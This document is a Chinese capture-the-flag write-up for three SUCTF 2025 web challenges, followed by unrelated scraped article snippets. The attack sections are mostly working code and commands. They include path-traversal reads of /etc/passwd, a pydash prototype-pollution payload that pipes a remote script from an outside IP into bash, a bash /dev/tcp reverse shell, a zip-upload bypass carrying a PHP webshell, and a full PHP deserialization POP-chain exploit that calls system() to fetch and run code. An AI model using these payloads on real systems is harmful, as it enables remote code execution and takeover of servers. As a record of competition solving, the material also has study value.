【Web】2025-SUCTF个人wp
目录
SU_blog
SU_photogallery
SU_POP
SU_blog
先是注册功能覆盖admin账号
以admin身份登录,拿到读文件的权限
./article?file=articles/..././..././..././..././..././..././etc/passwd
./article?file=articles/..././..././..././..././..././..././proc/1/cmdline
./article?file=articles/..././app.py
读到源码
from flask import *
import time, os, json, hashlib
from pydash import set_
from waf import pwaf, cwafapp = Flask(__name__)
app.config['SECRET_KEY'] = hashlib.md5(str(int(time.time())).encode()).hexdigest()users = {"testuser": "password"}
BASE_DIR = '/var/www/html/myblog/app'
articles = {1: "articles/article1.txt",2: "articles/article2.txt",3: "articles/article3.txt"
}
friend_links = [{"name": "bkf1sh", "url": "https://ctf.org.cn/"},{"name": "fushuling", "url": "https://fushuling.com/"},{"name": "yulate", "url": "https://www.yulate.com/"},{"name": "zimablue", "url": "https://www.zimablue.life/"},{"name": "baozongwi", "url": "https://baozongwi.xyz/"},
]class User():def __init__(self):passuser_data = User()@app.route('/')
def index():if 'username' in session:return render_template('blog.html', articles=articles, friend_links=friend_links)return redirect(url_for('login'))@app.route('/login', methods=['GET', 'POST'])
def login():if request.method == 'POST':username = request.form['username']password = request.form['password']if username in users and users[username] == password:session['username'] = usernamereturn redirect(url_for('index'))else:return "Invalid credentials", 403return render_template('login.html')@app.route('/register', methods=['GET', 'POST'])
def register():if request.method == 'POST':username = request.form['username']password = request.form['password']users[username] = passwordreturn redirect(url_for('login'))return render_template('register.html')@app.route('/change_password', methods=['GET', 'POST'])
def change_password():if 'username' not in session:return redirect(url_for('login'))if request.method == 'POST':old_password = request.form['old_password']new_password = request.form['new_password']confirm_password = request.form['confirm_password']if users[session['username']] != old_password:flash("Old password is incorrect", "error")elif new_password != confirm_password:flash("New passwords do not match", "error")else:users[session['username']] = new_passwordflash("Password changed successfully", "success")return redirect(url_for('index'))return render_template('change_password.html')@app.route('/friendlinks')
def friendlinks():if 'username' not in session or session['username'] != 'admin':return redirect(url_for('login'))return render_template('friendlinks.html', links=friend_links)@app.route('/add_friendlink', methods=['POST'])
def add_friendlink():if 'username' not in session or session['username'] != 'admin':return redirect(url_for('login'))name = request.form.get('name')url = request.form.get('url')if name and url:friend_links.append({"name": name, "url": url})return redirect(url_for('friendlinks'))@app.route('/delete_friendlink/')
def delete_friendlink(index):if 'username' not in session or session['username'] != 'admin':return redirect(url_for('login'))if 0 <= index < len(friend_links):del friend_links[index]return redirect(url_for('friendlinks'))@app.route('/article')
def article():if 'username' not in session:return redirect(url_for('login'))file_name = request.args.get('file', '')if not file_name:return render_template('article.html', file_name='', content="未提供文件名。")blacklist = ["waf.py"]if any(blacklisted_file in file_name for blacklisted_file in blacklist):return render_template('article.html', file_name=file_name, content="大黑阔不许看")if not file_name.startswith('articles/'):return render_template('article.html', file_name=file_name, content="无效的文件路径。")if file_name not in articles.values():if session.get('username') != 'admin':return render_template('article.html', file_name=file_name, content="无权访问该文件。")file_path = os.path.join(BASE_DIR, file_name)file_path = file_path.replace('../', '')try:with open(file_path, 'r', encoding='utf-8') as f:content = f.read()except FileNotFoundError:content = "文件未找到。"except Exception as e:app.logger.error(f"Error reading file {file_path}: {e}")content = "读取文件时发生错误。"return render_template('article.html', file_name=file_name, content=content)@app.route('/Admin', methods=['GET', 'POST'])
def admin():if request.args.get('pass') != "SUers":return "nonono"if request.method == 'POST':try:body = request.jsonif not body:flash("No JSON data received", "error")return jsonify({"message": "No JSON data received"}), 400key = body.get('key')value = body.get('value')if key is None or value is None:flash("Missing required keys: 'key' or 'value'", "error")return jsonify({"message": "Missing required keys: 'key' or 'value'"}), 400# Additional logic to handle key-value pairs can be added here.except Exception as e:flash(f"Error: {str(e)}", "error")return jsonify({"message": f"Error: {str(e)}"}), 500return render_template('admin.html')
/Admin路由一眼打pydash原型链污染
污染什么呢,可以污染render_template
参考CTFtime.org / idekCTF 2022* / task manager / Writeup
打入
{"key":"__class__.__init__.__globals__.__builtins__.__spec__.__init__.__globals__.sys.modules.jinja2.runtime.exported.2","value":"*;__import__('os').system('curl http://27.25.151.98:1338/shell.sh | bash');#"}
放个恶意shell文件到vps上
bash -c "bash -i >& /dev/tcp/27.25.151.98/1339 0>&1"
随便访问渲染模板的页面,成功反弹shell
SU_photogallery
结合“测试”的提示&404特征辨别题目服务是php -S启动的
存在一个任意文件读取漏洞
PHP Development Server <= 7.4.21 - Remote Source Disclosure — ProjectDiscovery Blog
去读一下unzip.php
bp把自动更新长度关掉
<?php
/** @Author: Nbc* @Date: 2025-01-13 16:13:46* @LastEditors: Nbc* @LastEditTime: 2025-01-13 16:31:53* @FilePath: \src\unzip.php* @Description: * * Copyright (c) 2025 by Nbc, All Rights Reserved. */
error_reporting(0);function get_extension($filename){return pathinfo($filename, PATHINFO_EXTENSION);
}
function check_extension($filename,$path){$filePath = $path . DIRECTORY_SEPARATOR . $filename;if (is_file($filePath)) {$extension = strtolower(get_extension($filename));if (!in_array($extension, ['jpg', 'jpeg', 'png', 'gif'])) {if (!unlink($filePath)) {// echo "Fail to delete file: $filename\n";return false;}else{// echo "This file format is not supported:$extension\n";return false;}}else{return true;}
}
else{// echo "nofile";return false;
}
}
function file_rename ($path,$file){$randomName = md5(uniqid().rand(0, 99999)) . '.' . get_extension($file);$oldPath = $path . DIRECTORY_SEPARATOR . $file;$newPath = $path . DIRECTORY_SEPARATOR . $randomName;if (!rename($oldPath, $newPath)) {unlink($path . DIRECTORY_SEPARATOR . $file);// echo "Fail to rename file: $file\n";return false;}else{return true;}
}function move_file($path,$basePath){foreach (glob($path . DIRECTORY_SEPARATOR . '*') as $file) {$destination = $basePath . DIRECTORY_SEPARATOR . basename($file);if (!rename($file, $destination)){// echo "Fail to rename file: $file\n";return false;}}return true;
}function check_base($fileContent){$keywords = ['eval', 'base64', 'shell_exec', 'system', 'passthru', 'assert', 'flag', 'exec', 'phar', 'xml', 'DOCTYPE', 'iconv', 'zip', 'file', 'chr', 'hex2bin', 'dir', 'function', 'pcntl_exec', 'array', 'include', 'require', 'call_user_func', 'getallheaders', 'get_defined_vars','info'];$base64_keywords = [];foreach ($keywords as $keyword) {$base64_keywords[] = base64_encode($keyword);}foreach ($base64_keywords as $base64_keyword) {if (strpos($fileContent, $base64_keyword)!== false) {return true;}else{return false;}}
}function check_content($zip){for ($i = 0; $i < $zip->numFiles; $i++) {$fileInfo = $zip->statIndex($i);$fileName = $fileInfo['name'];if (preg_match('/\.\.(\/|\.|%2e%2e%2f)/i', $fileName)) {return false; }// echo "Checking file: $fileName\n";$fileContent = $zip->getFromName($fileName);if (preg_match('/(eval|base64|shell_exec|system|passthru|assert|flag|exec|phar|xml|DOCTYPE|iconv|zip|file|chr|hex2bin|dir|function|pcntl_exec|array|include|require|call_user_func|getallheaders|get_defined_vars|info)/i', $fileContent) || check_base($fileContent)) {// echo "Don't hack me!\n"; return false;}else {continue;}}return true;
}function unzip($zipname, $basePath) {$zip = new ZipArchive;if (!file_exists($zipname)) {// echo "Zip file does not exist";return "zip_not_found";}if (!$zip->open($zipname)) {// echo "Fail to open zip file";return "zip_open_failed";}if (!check_content($zip)) {return "malicious_content_detected";}$randomDir = 'tmp_'.md5(uniqid().rand(0, 99999));$path = $basePath . DIRECTORY_SEPARATOR . $randomDir;if (!mkdir($path, 0777, true)) {// echo "Fail to create directory";$zip->close();return "mkdir_failed";}if (!$zip->extractTo($path)) {// echo "Fail to extract zip file";$zip->close();}else{for ($i = 0; $i < $zip->numFiles; $i++) {$fileInfo = $zip->statIndex($i);$fileName = $fileInfo['name'];if (!check_extension($fileName, $path)) {// echo "Unsupported file extension";continue;}if (!file_rename($path, $fileName)) {// echo "File rename failed";continue;}}}if (!move_file($path, $basePath)) {$zip->close();// echo "Fail to move file";return "move_failed";}rmdir($path);$zip->close();return true;
}$uploadDir = __DIR__ . DIRECTORY_SEPARATOR . 'upload/suimages/';
if (!is_dir($uploadDir)) {mkdir($uploadDir, 0777, true);
}if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {$uploadedFile = $_FILES['file'];$zipname = $uploadedFile['tmp_name'];$path = $uploadDir;$result = unzip($zipname, $path);if ($result === true) {header("Location: index.html?status=success");exit();} else {header("Location: index.html?status=$result");exit();}
} else {header("Location: index.html?status=file_error");exit();
}
注意到这段代码
因为是先解压再检验文件后缀,所以可以用解压失败来绕过
zip在CTF-web方向中的一些用法 - 个人学习分享
用这段脚本生成恶意zip文件
import zipfile
import io# 创建一个 BytesIO 对象来存储压缩文件内容
mf = io.BytesIO()# 使用 zipfile 创建一个 ZIP 文件
with zipfile.ZipFile(mf, mode="w", compression=zipfile.ZIP_STORED) as zf:# 向 ZIP 文件中写入恶意 PHP 文件zf.writestr('exp.php', b'<?php ($_GET[1])($_POST[2]);?>')# 向 ZIP 文件中写入一个文件名为 'A' * 5000 的文件,内容为 'AAAAA'zf.writestr('A' * 5000, b'AAAAA')# 将生成的 ZIP 文件写入磁盘
with open("shell.zip", "wb") as f:f.write(mf.getvalue())
上传成功
访问RCE
SU_POP
看到反序列化入口
先是找入口点,全局搜__destruct,看到RejectedPromise这个类对handler、reason可控,可以拼接message触发__toString
再找sink,全局搜eval(
找到一个比较干净的触发eval的类
再全局搜__toString
stream可控,可以触发__call
全局搜__call
从_methodMap中取一组数据,配合_loaded,可以调用任意类的任意方法,最后走到sink
链子
RejectedPromise#__destruct -> Response#__toString -> Table#__call ->BehaviorRegistry#call -> MockClass#generate
exp:
<?php
namespace PHPUnit\Framework\MockObject\Generator;class MockClass
{public $classCode;public $mockName;public function __construct() {$this->classCode ="system('curl http://27.25.151.98:1338/shell.sh | bash');";$this->mockName = "Z3r4y";}
}namespace Cake\ORM;use PHPUnit\Framework\MockObject\Generator\MockClass;class BehaviorRegistry
{public $_methodMap;public $_loaded;public function __construct() {$this->_methodMap = ["rewind" => ["Z3r4y", "generate"]];$this->_loaded = ["Z3r4y" => new MockClass()];}
}class Table
{public $_behaviors;public function __construct() {$this->_behaviors = new BehaviorRegistry();}
}namespace Cake\Http;use Cake\ORM\Table;class Response
{public $stream;public function __construct() {$this->stream = new Table();}
}namespace React\Promise\Internal;use Cake\Http\Response;final class RejectedPromise
{public $reason;public function __construct() {$this->reason = new Response();}
}$a=new RejectedPromise();
echo base64_encode(serialize($a));
往vps上放一个恶意shell脚本
bash -c "bash -i >& /dev/tcp/27.25.151.98/1339 0>&1"
打入:
成功弹上shell
find提权拿flag
相关文章:

【Web】2025-SUCTF个人wp
目录 SU_blog SU_photogallery SU_POP SU_blog 先是注册功能覆盖admin账号 以admin身份登录,拿到读文件的权限 ./article?filearticles/..././..././..././..././..././..././etc/passwd ./article?filearticles/..././..././..././..././..././..././proc/1…...

React进阶之react.js、jsx模板语法及babel编译
React React介绍React官网初识React学习MVCMVVM JSX外部的元素props和内部的状态statepropsstate 生命周期constructorgetDerivedStateFromPropsrendercomponentDidMount()shouldComponentUpdategetSnapshotBeforeUpdate(prevProps, prevState) 创建项目CRA:create-…...

在Linux上如何让ollama在GPU上运行模型
之前一直在 Mac 上使用 ollama 所以没注意,最近在 Ubuntu 上运行发现一直在 CPU 上跑。我一开始以为是超显存了,因为 Mac 上如果超内存的话,那么就只用 CPU,但是我发现 Llama3.2 3B 只占用 3GB,这远没有超。看了一下命…...

R 语言科研绘图第 20 期 --- 箱线图-配对
在发表科研论文的过程中,科研绘图是必不可少的,一张好看的图形会是文章很大的加分项。 为了便于使用,本系列文章介绍的所有绘图都已收录到了 sciRplot 项目中,获取方式: R 语言科研绘图模板 --- sciRplothttps://mp.…...

suctf2025
Suctf2025 --2标识为看的wp,没环境复现了 所有参考资料将在文本末尾标明 WEB SU_photogallery 思路👇 构造一个压缩包,解压出我们想解压的部分,然后其他部分是损坏的,这样是不是就可以让整个解压过程是出错的从而…...

Quinlan C4.5剪枝U(0,6)U(1,16)等置信上限如何计算?
之前看到Quinlan中关于C4.5决策树算法剪枝环节中,关于错误率e置信区间估计,为啥 当E=0时,U(0,1)=0.75,U(0,6)=0.206,U(0,9)=0.143? 而当E不为0时,比如U(1,16)=0.157,如图: 关于C4.5决策树,Quinlan写了一本书,如下: J. Ross Quinlan (Auth.) - C4.5. Programs f…...

计算机组成原理--笔记二
目录 一.计算机系统的工作原理 二.计算机的性能指标 1.存储器的性能指标 2.CPU的性能指标 3.系统整体的性能指标(静态) 4.系统整体的性能指标(动态) 三.进制计算 1.任意进制 > 十进制 2.二进制 <> 八、十六进制…...
麒麟系统中删除权限不够的文件方法
在麒麟系统中删除权限不够的文件,可以尝试以下几种方法: 通过修改文件权限删除 打开终端:点击左下角的“终端”图标,或者通过搜索功能找到并打开终端 。定位文件:使用cd命令切换到文件所在的目录 。修改文件权限&…...

自定义提示确认弹窗-vue
最初可运行代码 弹窗组件代码: (后来发现以下代码可运行,但打包 typescript 类型检查出错,可打包的代码在文末) <template><div v-if"isVisible" class"dialog"><div class&quo…...

运行fastGPT 第五步 配置FastGPT和上传知识库 打造AI客服
运行fastGPT 第五步 配置FastGPT和上传知识库 打造AI客服 根据上一步的步骤,已经调试了ONE API的接口,下面,我们就登陆fastGPT吧 http://xxx.xxx.xxx.xxx:3000/ 这个就是你的fastGPT后台地址,可以在configer文件中找到。 账号是…...

CSS 合法颜色值
CSS 颜色 CSS 中的颜色可以通过以下方法指定: 十六进制颜色带透明度的十六进制颜色RGB 颜色RGBA 颜色HSL 颜色HSLA 颜色预定义/跨浏览器的颜色名称使用 currentcolor 关键字 十六进制颜色 用 #RRGGBB 规定十六进制颜色,其中 RR(红色&…...

Redis - General - 未授权访问漏洞(用户配置问题)
0x01:产品简介 Redis(Remote Dictionary Service,远程数据服务),是一款开源的基于内存的键值对存储系统,其主要被用作高性能缓存服务器使用(比如作为消息中间件和用于 Session 共享)…...
解决 WSL 2 中 Ubuntu 22.04 安装 Docker 后无法启动的问题
问题场景 安装Docker后,执行sudo service docker start启动Docker,提示启动成功 rootDev:~# sudo service docker start * Starting Docker: docker [ OK ]执行su…...
Conda的一些常用命令
以下是Conda的一些常用命令: pip freeze > requirements.txt pip install -r requirements.txt 基本信息查看类 查看conda版本: conda -V 或 conda --version 可以查看当前安装的conda版本。 查看conda帮助信息: conda -h 或 conda --he…...

AI 大爆发时代,音视频未来路在何方?
AI 大模型突然大火了 回顾2024年,计算机领域最大的变革应该就是大模型进一步火爆了。回顾下大模型的发展历程: 萌芽期:(1950-2005) 1956年:计算机专家约翰麦卡锡首次提出“人工智能”概念,标志…...

Invicti-Professional-V25.1
01 更新介绍 此更新包括对内部代理的更改。内部扫描代理的当前版本为 25.1.0。内部身份验证验证程序代理的当前版本为 25.1.0。#新功能现在,单击扫描摘要屏幕中的预设扫描图标会将您重定向到具有过滤视图的 “最近扫描” 页面,从而改进导航和对相关扫描…...
【版图设计】2025年 最新 Cadence Virtuoso IC617 虚拟机环境配置全过程 集成电路版图设计环境配置
一、Cadence Virtuoso IC617 是什么? Cadence Virtuoso 是一个电子设计自动化(EDA)工具,主要用于集成电路(IC)的设计和仿真,尤其是在模拟、混合信号和射频(RF)电路设计领…...
Python基本概念与实践
Python语言,总给我一种“嗯?还能这么玩儿?”的感觉 Python像一个二三十岁的年轻人,自由、年轻、又灵活 欢迎一起进入Python的世界~ 本人工作中经常使用Python,针对一些常用的语法概念进行持续记录。 目录 一、类与常…...
# [Unity] 【游戏开发】获取物体和组件的脚本方法
在Unity开发中,获取游戏物体(GameObject)及其组件(Component)是脚本编程的核心技能。本文将详细介绍如何在脚本中访问游戏物体及其组件,深入讲解常用的获取方法及优化策略,以帮助开发者高效编写Unity脚本。 1. 理解游戏物体与组件的关系 游戏物体(GameObject):Unity场…...
10 为什么系统需要引入分布式、微服务架构
java技术的发展 在java开始流行起来之后,主要服务于企业家应用,例如ERP,CRM等等,这些项目是为企业内部员工使用,我们的思维是怎么用设计模式,如何封装代码。让开发人员关注到业务上去,系统也就那么几十几百…...
挑战杯推荐项目
“人工智能”创意赛 - 智能艺术创作助手:借助大模型技术,开发能根据用户输入的主题、风格等要求,生成绘画、音乐、文学作品等多种形式艺术创作灵感或初稿的应用,帮助艺术家和创意爱好者激发创意、提高创作效率。 - 个性化梦境…...

突破不可导策略的训练难题:零阶优化与强化学习的深度嵌合
强化学习(Reinforcement Learning, RL)是工业领域智能控制的重要方法。它的基本原理是将最优控制问题建模为马尔可夫决策过程,然后使用强化学习的Actor-Critic机制(中文译作“知行互动”机制),逐步迭代求解…...
Cesium1.95中高性能加载1500个点
一、基本方式: 图标使用.png比.svg性能要好 <template><div id"cesiumContainer"></div><div class"toolbar"><button id"resetButton">重新生成点</button><span id"countDisplay&qu…...
高效线程安全的单例模式:Python 中的懒加载与自定义初始化参数
高效线程安全的单例模式:Python 中的懒加载与自定义初始化参数 在软件开发中,单例模式(Singleton Pattern)是一种常见的设计模式,确保一个类仅有一个实例,并提供一个全局访问点。在多线程环境下,实现单例模式时需要注意线程安全问题,以防止多个线程同时创建实例,导致…...

Linux nano命令的基本使用
参考资料 GNU nanoを使いこなすnano基础 目录 一. 简介二. 文件打开2.1 普通方式打开文件2.2 只读方式打开文件 三. 文件查看3.1 打开文件时,显示行号3.2 翻页查看 四. 文件编辑4.1 Ctrl K 复制 和 Ctrl U 粘贴4.2 Alt/Esc U 撤回 五. 文件保存与退出5.1 Ctrl …...

解读《网络安全法》最新修订,把握网络安全新趋势
《网络安全法》自2017年施行以来,在维护网络空间安全方面发挥了重要作用。但随着网络环境的日益复杂,网络攻击、数据泄露等事件频发,现行法律已难以完全适应新的风险挑战。 2025年3月28日,国家网信办会同相关部门起草了《网络安全…...

FFmpeg:Windows系统小白安装及其使用
一、安装 1.访问官网 Download FFmpeg 2.点击版本目录 3.选择版本点击安装 注意这里选择的是【release buids】,注意左上角标题 例如我安装在目录 F:\FFmpeg 4.解压 5.添加环境变量 把你解压后的bin目录(即exe所在文件夹)加入系统变量…...
Caliper 负载(Workload)详细解析
Caliper 负载(Workload)详细解析 负载(Workload)是 Caliper 性能测试的核心部分,它定义了测试期间要执行的具体合约调用行为和交易模式。下面我将全面深入地讲解负载的各个方面。 一、负载模块基本结构 一个典型的负载模块(如 workload.js)包含以下基本结构: use strict;/…...
WebRTC从入门到实践 - 零基础教程
WebRTC从入门到实践 - 零基础教程 目录 WebRTC简介 基础概念 工作原理 开发环境搭建 基础实践 三个实战案例 常见问题解答 1. WebRTC简介 1.1 什么是WebRTC? WebRTC(Web Real-Time Communication)是一个支持网页浏览器进行实时语音…...
「全栈技术解析」推客小程序系统开发:从架构设计到裂变增长的完整解决方案
在移动互联网营销竞争白热化的当下,推客小程序系统凭借其裂变传播、精准营销等特性,成为企业抢占市场的利器。本文将深度解析推客小程序系统开发的核心技术与实现路径,助力开发者打造具有市场竞争力的营销工具。 一、系统核心功能架构&…...